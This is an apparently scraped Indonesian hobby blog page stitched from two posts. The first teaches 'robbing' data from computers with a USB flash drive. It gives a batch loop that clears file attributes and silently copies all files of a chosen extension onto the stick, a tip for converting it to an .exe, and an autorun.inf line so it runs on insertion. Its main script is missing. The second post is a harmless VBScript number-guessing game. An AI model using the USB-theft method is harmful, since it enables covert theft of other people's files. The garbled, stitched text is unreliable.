V-32

Hallo bro Pada kesempatan ini gue akan sharing mengenai ngerampok data di komputer dengan USB Flash Drive.. ok langsung mulai aja yuk,...

mohon maaf fasilitas klik kanan gw matikan, untuk mengcopy silahkan tekan tombol

highlight all, kemudian tekan CTRL + C

jangan di klik kanan ya!!!,....



2.   Save file tersebut dengan nama terserah (bisa diganti apa aja) .bat dan save as type all files .,

Sekarang coba di jalankan file dengan exstensi bat tersebut maka di samping File akan           terbuat semua file yang di copy dari drive C sampai D

Code di atas dapat di ubah atau di tambah sesuai dengan keinginan kalian masing-masing bisa di tambahkan kode

For /f “tokens=*”  %%b in (‘dir /a/b/s%%a:\*.zip’)  do(

attrib –s –h –r  “%%b”

copy “%%b” “%silent%” /y)

maka file yang berextensi zip akan masuk ke Flash Disk lo ( lumayan kan? dapat software kompresan gratis lagi hehehe,....)

ubah sesuai extensi apa yang lo inginkan misalnya *.pdf  atau *.html

maka file terserah.bat akan berjalan sesuai dengan keinginan lo .

File tersebut bisa lo ubah ke bentuk extensi exe. .. dengan software Bat_To_Exe_ConverterV1.5  kalau belum punya lo semua bisa download di http://www/brothersoft.com/bat-to-exe-converter-50301.html

Cara mengubahnya adalah

[autorun]

Open=terserah.exe

LANGKAH-LANGKAHNYA:

1.BUKA NOTEPAD ( START => ALL PROGRAMS => ACCESSORIES => NOTEPAD )

2.KLO UDAH MASUKIN TULISAN INI:

silahkan tekan tombol highlight all, kemudian tekan CTRL+C.
jangan di klik kanan ya!!!,...

Atau yang ini :

lama jg gag posting di blog ini,maklum sekarang gw mulai disibukan dengan kegiatan kuliah
ok langsung aja ya sobat blogger pada kesempatan kali ini gw akan share sedikit ilmu gw buat
kalian semua yaitu cara membuat prediksi angka langsung aja ya kita mulai langkahnya.


pertama buka notepad,kemudian masukan tulisan di bawah ini :
atau download


' Judul dan nama = Tebak Angka Misterius (TAM)
' Desain dan program = hacker91
' Produksi = 16 maret 2011 by alfiant_haddy

sub t00()

MsgBox ("Pilih sebuah angka (jangkauan 0 s/d 63)" + Chr(13) + Chr(13) + _
"Camkan, ingatlah, catatlah.." + Chr(13) + Chr(13) + _
"Lalu tekan OK!"), _
vbInformation, "Tebak Angka Misterius"

BilMis=0

if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"01, 03, 05, 07, 09, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31," + Chr(13) + _
"33, 35, 37, 39, 41, 43, 45, 47, 49, 51, 53, 55, 57, 59, 61, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+1

if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"02, 03, 06, 07, 10, 11, 14, 15, 18, 19, 22, 23, 26, 27, 30, 31," + Chr(13) + _
"34, 35, 38, 39, 42, 43, 46, 47, 50, 51, 54, 55, 58, 59, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+2

if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"04, 05, 06, 07, 12, 13, 14, 15, 20, 21, 22, 23, 28, 29, 30, 31," + Chr(13) + _
"36, 37, 38, 39, 44, 45, 46, 47, 52, 53, 54, 55, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+4

if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"08, 09, 10, 11, 12, 13, 14, 15, 24, 25, 26, 27, 28, 29, 30, 31," + Chr(13) + _
"40, 41, 42, 43, 44, 45, 46, 47, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+8

if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31," + Chr(13) + _
"48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+16

if (MsgBox ("Apakah angka pilihan anda terdapat dalam deret berikut?" + Chr(13) + Chr(13) + _
"32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47," + Chr(13) + _
"48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63", _
vbYesNo, "hacker91 Tebak Angka Misterius")) = vbYes then BilMis=BilMis+32

MsgBox ("Angka pilihan anda adalah.. "& Chr(13) & Chr(13) & BilMis & Chr(13) & Chr(13) & _
"haha,.. ketebak niye,... "), _
vbQuestion, "Tebak Angka Misterius"

MsgBox ("Terima kasih anda sudah mencoba menggunakan program ini " + Chr(13) + Chr(13) + _
"Kritik dan saran konstruktif " + Chr(13) + Chr(13) + _
"Hacker91 by : alfiant"), _
vbInformation, "Tebak Angka Misterius"


' Hack adalah sebuah ilmu yg patut di pelajari
' Karena dapat mengembangkan potensi diri anda untuk berkreasi
' (hacker91)

end sub

' Program Utama ada di sini!!
call t00
' aQ sukses nulis di VBScript